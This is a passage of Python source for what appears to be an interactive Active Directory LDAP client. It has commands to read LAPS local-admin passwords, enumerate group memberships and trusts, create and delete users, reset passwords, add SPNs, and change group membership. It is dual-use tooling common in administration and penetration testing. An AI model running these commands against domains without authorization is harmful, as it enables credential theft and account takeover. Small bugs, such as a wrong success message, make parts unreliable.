                    pwd = entry['attributes']['ms-Mcs-AdmPwd']
                print('%s : %s' % (entry['attributes']['cn'], pwd))
        except:
            traceback.print_exc()

    async def do_groupmembership(self, dn):
        """Feteches names all groupnames the user is a member of for a given DN"""
        try:
            await self.do_ldapinfo(False)
            await self.do_adinfo(False)
            group_sids = []
            async for group_sid, err in self.connection.get_tokengroups(dn):
                if err is not None:
                    raise err
                group_sids.append(group_sids)
                group_dn, err = await self.connection.get_dn_for_objectsid(
                    group_sid)
                if err is not None:
                    raise err
                print('%s - %s' % (group_dn, group_sid))

            if len(group_sids) == 0:
                print('No memberships found')
        except Exception as e:
            print(e)
            traceback.print_exc()

    async def do_bindtree(self, newtree):
        """Changes the LDAP TREE for future queries. 
				 MUST be DN format eg. 'DC=test,DC=corp'
				 !DANGER! Switching tree to a tree outside of the domain will trigger a connection to that domain, leaking credentials!"""
        self.connection._tree = newtree

    async def do_trusts(self):
        """Feteches gives back domain trusts"""
        try:
            async for entry, err in self.connection.get_all_trusts():
                if err is not None:
                    raise err
                print(entry.get_line())
        except:
            traceback.print_exc()

    async def do_adduser(self, username, password):
        """Creates a new domain user with password"""
        try:
            _, err = await self.connection.create_user(username, password)
            if err is not None:
                raise err
            print('User added')
        except:
            traceback.print_exc()

    async def do_deluser(self, user_dn):
        """Deletes the user! This action is irrecoverable (actually domain admins can do that but probably will shout with you)"""
        try:
            _, err = await self.connection.delete_user(user_dn)
            if err is not None:
                raise err
            print('Goodbye, Caroline.')
        except:
            traceback.print_exc()

    async def do_changeuserpw(self, user_dn, newpass, oldpass=None):
        """Changes user password, if you are admin then old pw doesnt need to be supplied"""
        try:
            _, err = await self.connection.change_password(
                user_dn, newpass, oldpass)
            if err is not None:
                raise err
            print('User password changed')
        except:
            traceback.print_exc()

    async def do_unlockuser(self, user_dn):
        """Unlock user by setting lockoutTime to 0"""
        try:
            _, err = await self.connection.unlock_user(user_dn)
            if err is not None:
                raise err
            print('User unlocked')
        except:
            traceback.print_exc()

    async def do_enableuser(self, user_dn):
        """Unlock user by flipping useraccountcontrol bits"""
        try:
            _, err = await self.connection.enable_user(user_dn)
            if err is not None:
                raise err
            print('User enabled')
        except:
            traceback.print_exc()

    async def do_disableuser(self, user_dn):
        """Unlock user by flipping useraccountcontrol bits"""
        try:
            _, err = await self.connection.disable_user(user_dn)
            if err is not None:
                raise err
            print('User disabled')
        except:
            traceback.print_exc()

    async def do_addspn(self, user_dn, spn):
        """Adds an SPN entry to the users account"""
        try:
            _, err = await self.connection.add_user_spn(user_dn, spn)
            if err is not None:
                raise err
            print('SPN added!')
        except:
            traceback.print_exc()

    async def do_addhostname(self, user_dn, hostname):
        """Adds additional hostname to computer account"""
        try:
            _, err = await self.connection.add_additional_hostname(
                user_dn, hostname)
            if err is not None:
                raise err
            print('Hostname added!')
        except:
            traceback.print_exc()

    async def do_addusertogroup(self, user_dn, group_dn):
        """Adds user to specified group. Both user and group must be in DN format!"""
        try:
            _, err = await self.connection.add_user_to_group(user_dn, group_dn)
            if err is not None:
                raise err
            print('User added to group!')
        except:
            traceback.print_exc()

    async def do_deluserfromgroup(self, user_dn, group_dn):
        """Removes user from specified group. Both user and group must be in DN format!"""
        try:
            _, err = await self.connection.del_user_from_group(
                user_dn, group_dn)
            if err is not None:
                raise err
            print('User added to group!')
        except:
            traceback.print_exc()

    async def do_test(self):
        """testing, dontuse"""
        try:
            async for entry, err in self.connection.get_all_objectacl():
                if err is not None:
                    raise err

                if entry.objectClass[-1] != 'user':
                    print(entry.objectClass)
        except:
            traceback.print_exc()

    """